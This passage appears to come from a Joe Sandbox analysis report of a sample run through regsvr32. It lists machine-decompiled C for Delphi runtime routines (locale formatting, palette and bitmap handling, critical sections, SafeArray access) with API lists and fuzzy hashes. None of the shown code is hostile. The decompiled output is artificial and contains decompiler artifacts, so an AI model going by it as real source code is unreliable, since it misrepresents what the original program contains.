GetThreadLocale.KERNEL32(?,00000000,0040A05F,?,?,00000000), ref: 00409FE0

Part of subcall function 00409D40: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00409D5E

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0040A05F,?,?,00000000), ref: 0040A010
EnumCalendarInfoA.KERNEL32(Function_00009F14,00000000,00000000,00000004), ref: 0040A01B
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0040A05F,?,?,00000000), ref: 0040A039
EnumCalendarInfoA.KERNEL32(Function_00009F50,00000000,00000000,00000003), ref: 0040A044

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: cca7457b1d054b1a0dae7189cf3cb226c4a4b5915e2e4facb31ffb94acd798dc
Instruction ID: 58970b463a7ea58bd09ffd62ad2ce3c19fec6a30744ba06b5cc753eb550c25e1
Opcode Fuzzy Hash: cca7457b1d054b1a0dae7189cf3cb226c4a4b5915e2e4facb31ffb94acd798dc
Instruction Fuzzy Hash: 9E01A7317407096BE711BA758C12F5F755CDB46728F60027AF500F66D2D67CAE1086AE

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC24 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041CC24(void* __eax) {
				intOrPtr* _t7;
				struct HPALETTE__* _t8;
				signed int _t11;
				void* _t16;
				struct HDC__* _t18;
				struct HPALETTE__* _t19;

				_t16 = __eax;
				_t19 = 0;
				_t7 =  *((intOrPtr*)(__eax + 0x2c));
				if(_t7 == 0) {
					_t8 =  *((intOrPtr*)(__eax + 0x38));
					if(_t8 == 0) {
						if( *((char*)(__eax + 0x3e)) == 0) {
							_t18 = GetDC(0);
							_t11 = GetDeviceCaps(_t18, 0xc);
							if(_t11 * GetDeviceCaps(_t18, 0xe) <= 8) {
								_t19 = CreateHalftonePalette(_t18);
								 *((intOrPtr*)(_t16 + 0x38)) = _t19;
							}
							ReleaseDC(0, _t18);
						}
					} else {
						_t19 = _t8;
					}
				} else {
					_t19 =  *((intOrPtr*)( *_t7 + 0x24))();
				}
				return _t19;
			}

0x0041cc28
0x0041cc2a
0x0041cc2c
0x0041cc31
0x0041cc3c
0x0041cc41
0x0041cc4b
0x0041cc54
0x0041cc59
0x0041cc6e
0x0041cc76
0x0041cc78
0x0041cc78
0x0041cc7e
0x0041cc7e
0x0041cc43
0x0041cc43
0x0041cc43
0x0041cc33
0x0041cc38
0x0041cc38
0x0041cc89

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 628d2ffb7afa37f8ccbc839b5411d736c40bb04db261dd8a8483936446e694e4
Instruction ID: b0ea7126bc999a75de58c43c13d6f9c09e442e07423427aabbef98c5158e5554
Opcode Fuzzy Hash: 628d2ffb7afa37f8ccbc839b5411d736c40bb04db261dd8a8483936446e694e4
Instruction Fuzzy Hash: AFF0D1313842142AF7206676CCC1F6B3698DB41B91F04116AF904EF282E5688C8187E8

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE34 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041AE34(void* __eax, signed int __ecx, intOrPtr* __edx, void* __eflags) {
				void* __ebp;
				signed int _t93;
				void* _t108;
				signed int _t114;
				void* _t125;
				signed int _t140;
				signed int _t146;
				signed int _t160;
				intOrPtr _t197;
				intOrPtr* _t203;
				void* _t204;
				intOrPtr* _t205;
				intOrPtr _t206;
				signed int* _t207;

				_t160 = __ecx;
				_t203 = __edx;
				_t204 = __eax;
				E004029A0( &(_t207[4]), 0xe);
				_t207[4] = 0x4d42;
				_t205 =  *((intOrPtr*)( *((intOrPtr*)(_t204 + 0x28)) + 0x6c));
				if(_t205 != 0) {
					 *_t207 =  *((intOrPtr*)( *_t205))();
					if(_t160 != 0) {
						E00412274(__edx, 4, _t207);
					}
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t204 + 0x28)) + 0x6c))))))();
					return  *((intOrPtr*)( *_t203 + 0x10))();
				}
				E00419F68(_t204, 0xe);
				_t206 =  *((intOrPtr*)(_t204 + 0x28));
				 *_t207 = 0;
				_t93 =  *(_t206 + 0x14);
				__eflags = _t93;
				if(__eflags != 0) {
					 *_t207 =  *_t207 + _t207[2] + 0xe;
					E004029A0( &(_t207[4]), 0xe);
					_t207[4] = 0x4d42;
					_t125 = E00419D40(_t204);
					_t197 =  *0x41b0e8; // 0x1
					E00415C30(_t125, 0, _t197);
					_t207[3] = E00415F54(SelectObject( *( *((intOrPtr*)(_t204 + 0x2c)) + 4),  *(_t206 + 0x14)));
					_t207[1] = GetDIBColorTable( *( *((intOrPtr*)(_t204 + 0x2c)) + 4), 0, 0x100,  &(_t207[0xa]));
					SelectObject( *( *((intOrPtr*)(_t204 + 0x2c)) + 4), _t207[3]);
					_t140 =  *(_t206 + 0x50);
					__eflags = _t140;
					if(_t140 > 0) {
						__eflags = _t140 - _t207[1];
						if(_t140 < _t207[1]) {
							_t207[1] = _t140;
						}
					}
					__eflags =  *((char*)(_t206 + 0x70));
					if( *((char*)(_t206 + 0x70)) == 0) {
						__eflags = _t207[1];
						if(_t207[1] == 0) {
							__eflags =  *(_t206 + 0x10);
							if( *(_t206 + 0x10) != 0) {
								__eflags =  *((char*)(_t206 + 0x71));
								if( *((char*)(_t206 + 0x71)) == 0) {
									_t207[1] = E004166E8( *(_t206 + 0x10), 0xff,  &(_t207[0xa]));
									__eflags =  *((short*)(_t206 + 0x3e)) - 8;
									if( *((short*)(_t206 + 0x3e)) > 8) {
										_t146 = _t207[1] << 2;
										 *_t207 =  *_t207 + _t146;
										_t47 =  &(_t207[2]);
										 *_t47 = _t207[2] + _t146;
										__eflags =  *_t47;
									}
								}
							}
						}
					}
					_t207[4] =  *_t207;
					_t93 = _t207[2] + 0xe;
					__eflags = _t93;
					_t207[6] = _t93;
				}
				__eflags = _t160;
				if(_t160 != 0) {
					_t93 = E00412274(_t203, 4, _t207);
				}
				__eflags =  *_t207;
				if( *_t207 == 0) {
					return _t93;
				} else {
					E00418ECC(_t206 + 0x18);
					__eflags = _t207[1];
					if(_t207[1] == 0) {
						L27:
						__eflags =  *((char*)(_t206 + 0x70));
						if( *((char*)(_t206 + 0x70)) == 0) {
							E00412274(_t203, 0xe,  &(_t207[4]));
							E00412274(_t203, 0x28, _t206 + 0x30);
							__eflags =  *((short*)(_t206 + 0x3e)) - 8;
							if( *((short*)(_t206 + 0x3e)) > 8) {
								__eflags =  *(_t206 + 0x40) & 0x00000003;
								if(( *(_t206 + 0x40) & 0x00000003) != 0) {
									E00412274(_t203, 0xc, _t206 + 0x58);
								}
							}
						} else {
							_t108 = _t206 + 0x30;
							_t207[7] = 0xc;
							_t207[8] =  *((intOrPtr*)(_t108 + 4));
							_t207[9] =  *((intOrPtr*)(_t108 + 8));
							_t207[9] = 1;
							_t207[0xa].rgbBlue =  *((intOrPtr*)(_t108 + 0xe));
							E00412274(_t203, 0xe,  &(_t207[4]));
							E00412274(_t203, 0xc,  &(_t207[7]));
						}
						__eflags = 0 * _t207[1];
						E00412274(_t203, 0 * _t207[1],  &(_t207[0xa]));
						return E00412274(_t203,  *((intOrPtr*)(_t206 + 0x44)),  *((intOrPtr*)(_t206 + 0x2c)));
					}
					_t114 =  *(_t206 + 0x50);
					__eflags = _t114;
					if(_t114 == 0) {
						L24:
						 *(_t206 + 0x50) = _t207[1];
						L25:
						__eflags =  *((char*)(_t206 + 0x70));
						if( *((char*)(_t206 + 0x70)) != 0) {
							E004163C4( &(_t207[0xa]),  &(_t207[1]));
						}
						goto L27;
					}
					__eflags = _t114 - _t207[1];
					if(_t114 == _t207[1]) {
						goto L25;
					}
					goto L24;
				}
			}

0x0041ae3e
0x0041ae40
0x0041ae42
0x0041ae4f
0x0041ae54
0x0041ae5e
0x0041ae63
0x0041ae6b
0x0041ae70
0x0041ae7b
0x0041ae7b
0x0041ae8a
0x00000000
0x0041ae95
0x0041ae9f
0x0041aea4
0x0041aea9
0x0041aeac
0x0041aeaf
0x0041aeb1
0x0041aef7
0x0041af05
0x0041af0a
0x0041af13
0x0041af18
0x0041af1e
0x0041af38
0x0041af54
0x0041af64
0x0041af69
0x0041af6c
0x0041af6e
0x0041af70
0x0041af74
0x0041af76
0x0041af76
0x0041af74
0x0041af7a
0x0041af7e
0x0041af80
0x0041af85
0x0041af87
0x0041af8b
0x0041af8d
0x0041af91
0x0041afa4
0x0041afa8
0x0041afad
0x0041afb3
0x0041afb6
0x0041afb9
0x0041afb9
0x0041afb9
0x0041afb9
0x0041afad
0x0041af91
0x0041af8b
0x0041af85
0x0041afc0
0x0041afc8
0x0041afc8
0x0041afcb
0x0041afcb
0x0041afcf
0x0041afd1
0x0041afdc
0x0041afdc
0x0041afe1
0x0041afe5
0x0041b0e5
0x0041afeb
0x0041afee
0x0041aff3
0x0041aff8
0x0041b021
0x0041b021
0x0041b025
0x0041b081
0x0041b090
0x0041b095
0x0041b09a
0x0041b09c
0x0041b0a0
0x0041b0ac
0x0041b0ac
0x0041b0a0
0x0041b027
0x0041b027
0x0041b02a
0x0041b036
0x0041b03f
0x0041b044
0x0041b04f
0x0041b05f
0x0041b06f
0x0041b06f
0x0041b0be
0x0041b0c9
0x00000000
0x0041b0d6
0x0041affa
0x0041affd
0x0041afff
0x0041b007
0x0041b00b
0x0041b00e
0x0041b00e
0x0041b012
0x0041b01c
0x0041b01c
0x00000000
0x0041b012
0x0041b001
0x0041b005
0x00000000
0x00000000
0x00000000
0x0041b005

APIs

SelectObject.GDI32(?,?), ref: 0041AF2E
GetDIBColorTable.GDI32(?,00000000,00000100,?,?,?), ref: 0041AF4F
SelectObject.GDI32(?,?), ref: 0041AF64

Strings

BM, xrefs: 0041AF0A

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: ObjectSelect$ColorTable
String ID: BM
API String ID: 2377976745-2348483157
Opcode ID: 7cf79de64dfc956b18091f73d88d936b4ee26f9c78174e1f05223635f2a7c975
Instruction ID: 9ceeb9407ec425caab05d8ef37ebb25efba527f715c99d299e364f317b8d2941
Opcode Fuzzy Hash: 7cf79de64dfc956b18091f73d88d936b4ee26f9c78174e1f05223635f2a7c975
Instruction Fuzzy Hash: 22811B746083459BD714EF29C484BAFB7E1EF88304F04892EF8958B391D778D999CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040A078 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148
threadCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040A078(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				void* _t41;
				signed int _t45;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				signed int _t83;
				signed int _t92;
				intOrPtr _t111;
				void* _t122;
				void* _t124;
				intOrPtr _t127;
				void* _t128;

				_t128 = __eflags;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t122 = __edx;
				_t124 = __eax;
				_push(_t127);
				_push(0x40a242);
				_push( *[fs:eax]);
				 *[fs:eax] = _t127;
				_t92 = 1;
				E00403C38(__edx);
				E00409D40(GetThreadLocale(), 0x40a258, 0x1009,  &_v12);
				if(E00407248(0x40a258, 1, _t128) + 0xfffffffd - 3 < 0) {
					while(1) {
						_t41 = E00403EF8(_t124);
						__eflags = _t92 - _t41;
						if(_t92 > _t41) {
							goto L28;
						}
						__eflags =  *(_t124 + _t92 - 1) & 0x000000ff;
						asm("bt [0x43711c], eax");
						if(( *(_t124 + _t92 - 1) & 0x000000ff) >= 0) {
							_t45 = E00407750(_t124 + _t92 - 1, 2, 0x40a25c);
							__eflags = _t45;
							if(_t45 != 0) {
								_t47 = E00407750(_t124 + _t92 - 1, 4, 0x40a26c);
								__eflags = _t47;
								if(_t47 != 0) {
									_t49 = E00407750(_t124 + _t92 - 1, 2, 0x40a284);
									__eflags = _t49;
									if(_t49 != 0) {
										_t51 =  *(_t124 + _t92 - 1) - 0x59;
										__eflags = _t51;
										if(_t51 == 0) {
											L24:
											E00403F00(_t122, 0x40a29c);
										} else {
											__eflags = _t51 != 0x20;
											if(_t51 != 0x20) {
												E00403E20();
												E00403F00(_t122, _v24);
											} else {
												goto L24;
											}
										}
									} else {
										E00403F00(_t122, 0x40a290);
										_t92 = _t92 + 1;
									}
								} else {
									E00403F00(_t122, 0x40a27c);
									_t92 = _t92 + 3;
								}
							} else {
								E00403F00(_t122, 0x40a268);
								_t92 = _t92 + 1;
							}
							_t92 = _t92 + 1;
							__eflags = _t92;
						} else {
							_v8 = E0040AFDC(_t124, _t92);
							E00404150(_t124, _v8, _t92,  &_v20);
							E00403F00(_t122, _v20);
							_t92 = _t92 + _v8;
						}
					}
				} else {
					_t75 =  *0x43a740; // 0x9
					_t76 = _t75 - 4;
					if(_t76 == 0 || _t76 + 0xfffffff3 - 2 < 0) {
						_t77 = 1;
					} else {
						_t77 = 0;
					}
					if(_t77 == 0) {
						E00403C8C(_t122, _t124);
					} else {
						while(_t92 <= E00403EF8(_t124)) {
							_t83 =  *(_t124 + _t92 - 1) - 0x47;
							__eflags = _t83;
							if(_t83 != 0) {
								__eflags = _t83 != 0x20;
								if(_t83 != 0x20) {
									E00403E20();
									E00403F00(_t122, _v16);
								}
							}
							_t92 = _t92 + 1;
							__eflags = _t92;
						}
					}
				}
				L28:
				_pop(_t111);
				 *[fs:eax] = _t111;
				_push(E0040A249);
				return E00403C5C( &_v24, 4);
			}

0x0040a078
0x0040a07d
0x0040a07e
0x0040a07f
0x0040a080
0x0040a081
0x0040a085
0x0040a087
0x0040a08b
0x0040a08c
0x0040a091
0x0040a094
0x0040a097
0x0040a09e
0x0040a0b6
0x0040a0ce
0x0040a218
0x0040a21a
0x0040a21f
0x0040a221
0x00000000
0x00000000
0x0040a137
0x0040a13c
0x0040a143
0x0040a181
0x0040a186
0x0040a188
0x0040a1a7
0x0040a1ac
0x0040a1ae
0x0040a1cf
0x0040a1d4
0x0040a1d6
0x0040a1eb
0x0040a1eb
0x0040a1ed
0x0040a1f3
0x0040a1fa
0x0040a1ef
0x0040a1ef
0x0040a1f1
0x0040a208
0x0040a212
0x00000000
0x00000000
0x00000000
0x0040a1f1
0x0040a1d8
0x0040a1df
0x0040a1e4
0x0040a1e4
0x0040a1b0
0x0040a1b7
0x0040a1bc
0x0040a1bc
0x0040a18a
0x0040a191
0x0040a196
0x0040a196
0x0040a217
0x0040a217
0x0040a145
0x0040a14e
0x0040a15c
0x0040a166
0x0040a16b
0x0040a16b
0x0040a143
0x0040a0d4
0x0040a0d4
0x0040a0d9
0x0040a0dc
0x0040a0ea
0x0040a0e6
0x0040a0e6
0x0040a0e6
0x0040a0ee
0x0040a129
0x0040a0f0
0x0040a115
0x0040a0f6
0x0040a0f6
0x0040a0f8
0x0040a0fa
0x0040a0fc
0x0040a105
0x0040a10f
0x0040a10f
0x0040a0fc
0x0040a114
0x0040a114
0x0040a114
0x0040a120
0x0040a0ee
0x0040a227
0x0040a229
0x0040a22c
0x0040a22f
0x0040a241

APIs

GetThreadLocale.KERNEL32(?,00000000,0040A242,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A0A7

Part of subcall function 00409D40: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00409D5E

Strings

yyyy, xrefs: 0040A199
eeee, xrefs: 0040A1B2
ggg, xrefs: 0040A18C

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 1782270944fd5988215f24f45df6de1e76abacf33a27259153d4031714e4cf7d
Instruction ID: ea7c022fee83f583d3d242cd5d9a7ad4847103b4b716512d75ee10e29d71df43
Opcode Fuzzy Hash: 1782270944fd5988215f24f45df6de1e76abacf33a27259153d4031714e4cf7d
Instruction Fuzzy Hash: 574118317043054BC711EFB988826BEBAA9DB85308B10457FE451F73C6DA3DAE12965F

Uniqueness

Uniqueness Score: -1.00%

Function 00415890 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00415890(void* __ecx, void* __edx) {
				void* __ebx;
				void* __esi;
				intOrPtr _t19;
				char _t32;
				intOrPtr _t33;
				intOrPtr _t35;
				void* _t38;
				void* _t39;
				void* _t40;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				void* _t50;
				void* _t51;

				_t40 = __edx;
				_t39 = __ecx;
				if(__edx != 0) {
					_t51 = _t51 + 0xfffffff0;
					_t19 = E004031A8(_t19, _t50);
				}
				_t38 = _t40;
				_t46 = _t19;
				E00402EFC(0);
				_t1 = _t46 + 0x38; // 0x38
				L00405BC4();
				_t47 = E00414DE8(1);
				 *((intOrPtr*)(_t46 + 0xc)) = _t47;
				 *((intOrPtr*)(_t47 + 0xc)) = _t46;
				 *((intOrPtr*)(_t47 + 8)) = E00415DA4;
				_t5 = _t46 + 0x38; // 0x38
				 *((intOrPtr*)(_t47 + 0x14)) = _t5;
				_t48 = E004152F0(1);
				 *((intOrPtr*)(_t46 + 0x10)) = _t48;
				 *((intOrPtr*)(_t48 + 0xc)) = _t46;
				 *((intOrPtr*)(_t48 + 8)) = 0x415dc4;
				_t10 = _t46 + 0x38; // 0x38
				 *((intOrPtr*)(_t48 + 0x14)) = _t10;
				_t49 = E004155BC(1);
				 *((intOrPtr*)(_t46 + 0x14)) = _t49;
				 *((intOrPtr*)(_t49 + 0xc)) = _t46;
				 *((intOrPtr*)(_t49 + 8)) = 0x415de4;
				_t15 = _t46 + 0x38; // 0x38
				 *((intOrPtr*)(_t49 + 0x14)) = _t15;
				 *((intOrPtr*)(_t46 + 0x20)) = 0xcc0020;
				_t32 =  *0x415950; // 0x0
				 *((char*)(_t46 + 8)) = _t32;
				_t33 =  *0x43a8d8; // 0x4da0b08
				E004108F8(_t33, _t38, _t39, _t46, _t49);
				_t35 = _t46;
				if(_t38 != 0) {
					E00403200(_t35);
					_pop( *[fs:0x0]);
				}
				return _t46;
			}

0x00415890
0x00415890
0x00415895
0x00415897
0x0041589a
0x0041589a
0x0041589f
0x004158a1
0x004158a7
0x004158ac
0x004158b0
0x004158c1
0x004158c3
0x004158c6
0x004158c9
0x004158d0
0x004158d3
0x004158e2
0x004158e4
0x004158e7
0x004158ea
0x004158f1
0x004158f4
0x00415903
0x00415905
0x00415908
0x0041590b
0x00415912
0x00415915
0x00415918
0x0041591f
0x00415924
0x00415929
0x0041592e
0x00415933
0x00415937
0x00415939
0x0041593e
0x00415945
0x0041594d

APIs

RtlInitializeCriticalSection.KERNEL32(00418A10,004189D8,?,00000001,00418B6E,?,?,?,00419D65,?,?,00419B84,?,0000000E,00000000,?), ref: 004158B0

Strings

;A, xrefs: 004158F9
:A, xrefs: 004158D8
d9A, xrefs: 004158B7

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: d9A$:A$;A
API String ID: 32694325-1712331714
Opcode ID: 4baaa54a15a9eb5cf2cde2bbec01ee2450cba58147e5731545b60e835b2c2f16
Instruction ID: 57bfa3015de3ca0287586ecf8f0f69680f2b2f00eb139c818d4b181bb60a4ea5
Opcode Fuzzy Hash: 4baaa54a15a9eb5cf2cde2bbec01ee2450cba58147e5731545b60e835b2c2f16
Instruction Fuzzy Hash: 24116DB1601B01DFC310DF2AD885AC6BBE5BF84328304C52FE459DBB51D379A9988B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B940 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B940() {
				_Unknown_base(*)()* _t1;
				struct HINSTANCE__* _t3;

				_t1 = GetModuleHandleA("kernel32.dll");
				_t3 = _t1;
				if(_t3 != 0) {
					_t1 = GetProcAddress(_t3, "GetDiskFreeSpaceExA");
					 *0x437140 = _t1;
				}
				if( *0x437140 == 0) {
					 *0x437140 = E0040765C;
					return E0040765C;
				}
				return _t1;
			}

0x0040b946
0x0040b94b
0x0040b94f
0x0040b957
0x0040b95c
0x0040b95c
0x0040b968
0x0040b96f
0x00000000
0x0040b96f
0x0040b975

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040C269,00000000,0040C27C), ref: 0040B946
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0040B957

Strings

GetDiskFreeSpaceExA, xrefs: 0040B951
kernel32.dll, xrefs: 0040B941

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 57070500bbce81877baeb9e51c76044d995dd0500df953097e60f01e1f17148e
Instruction ID: 0edac739f79e175bc2bc7da408f6da8ca6ddf8388b84350025429373f7bbd1b5
Opcode Fuzzy Hash: 57070500bbce81877baeb9e51c76044d995dd0500df953097e60f01e1f17148e
Instruction Fuzzy Hash: ACD09EE16C87459BDF30AFA65CC5B1231A4E720315F20357BA6817A3D1D77C58448A5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040D648 Relevance: 6.1, APIs: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D648(intOrPtr* __eax) {
				char _v260;
				char _v768;
				char _v772;
				intOrPtr* _v776;
				signed short* _v780;
				char _v784;
				signed int _v788;
				char _v792;
				intOrPtr* _v796;
				signed char _t43;
				intOrPtr* _t60;
				void* _t79;
				void* _t81;
				void* _t84;
				void* _t85;
				intOrPtr* _t92;
				void* _t96;
				char* _t97;
				void* _t98;

				_v776 = __eax;
				if(( *(_v776 + 1) & 0x00000020) == 0) {
					E0040D528(0x80070057);
				}
				_t43 =  *_v776;
				if((_t43 & 0x00000fff) == 0xc) {
					if((_t43 & 0x00000040) == 0) {
						_v780 =  *((intOrPtr*)(_v776 + 8));
					} else {
						_v780 =  *((intOrPtr*)( *((intOrPtr*)(_v776 + 8))));
					}
					_v788 =  *_v780 & 0x0000ffff;
					_t79 = _v788 - 1;
					if(_t79 >= 0) {
						_t85 = _t79 + 1;
						_t96 = 0;
						_t97 =  &_v772;
						do {
							_v796 = _t97;
							_push(_v796 + 4);
							_t22 = _t96 + 1; // 0x1
							_push(_v780);
							L0040C738();
							E0040D528(_v780);
							_push( &_v784);
							_t25 = _t96 + 1; // 0x1
							_push(_v780);
							L0040C740();
							E0040D528(_v780);
							 *_v796 = _v784 -  *((intOrPtr*)(_v796 + 4)) + 1;
							_t96 = _t96 + 1;
							_t97 = _t97 + 8;
							_t85 = _t85 - 1;
						} while (_t85 != 0);
					}
					_t81 = _v788 - 1;
					if(_t81 >= 0) {
						_t84 = _t81 + 1;
						_t60 =  &_v768;
						_t92 =  &_v260;
						do {
							 *_t92 =  *_t60;
							_t92 = _t92 + 4;
							_t60 = _t60 + 8;
							_t84 = _t84 - 1;
						} while (_t84 != 0);
						do {
							goto L12;
						} while (E0040D5EC(_t83, _t98) != 0);
						goto L15;
					}
					L12:
					_t83 = _v788 - 1;
					if(E0040D5BC(_v788 - 1, _t98) != 0) {
						_push( &_v792);
						_push( &_v260);
						_push(_v780);
						L0040C748();
						E0040D528(_v780);
						E0040D840(_v792);
					}
				}
				L15:
				_push(_v776);
				L0040C2D4();
				return E0040D528(_v776);
			}

0x0040d654
0x0040d664
0x0040d66b
0x0040d66b
0x0040d676
0x0040d684
0x0040d693
0x0040d6b1
0x0040d695
0x0040d6a0
0x0040d6a0
0x0040d6c0
0x0040d6cc
0x0040d6cf
0x0040d6d1
0x0040d6d2
0x0040d6d4
0x0040d6da
0x0040d6dc
0x0040d6eb
0x0040d6ec
0x0040d6f6
0x0040d6f7
0x0040d6fc
0x0040d707
0x0040d708
0x0040d712
0x0040d713
0x0040d718
0x0040d733
0x0040d735
0x0040d736
0x0040d739
0x0040d739
0x0040d6da
0x0040d742
0x0040d745
0x0040d747
0x0040d748
0x0040d74e
0x0040d754
0x0040d756
0x0040d758
0x0040d75b
0x0040d75e
0x0040d75e
0x0040d761
0x00000000
0x00000000
0x00000000
0x0040d761
0x0040d761
0x0040d768
0x0040d773
0x0040d77b
0x0040d782
0x0040d789
0x0040d78a
0x0040d78f
0x0040d79a
0x0040d79a
0x0040d7a8
0x0040d7ac
0x0040d7b2
0x0040d7b3
0x0040d7c3

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0040D6F7
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0040D713
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0040D78A
VariantClear.OLEAUT32(?), ref: 0040D7B3

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

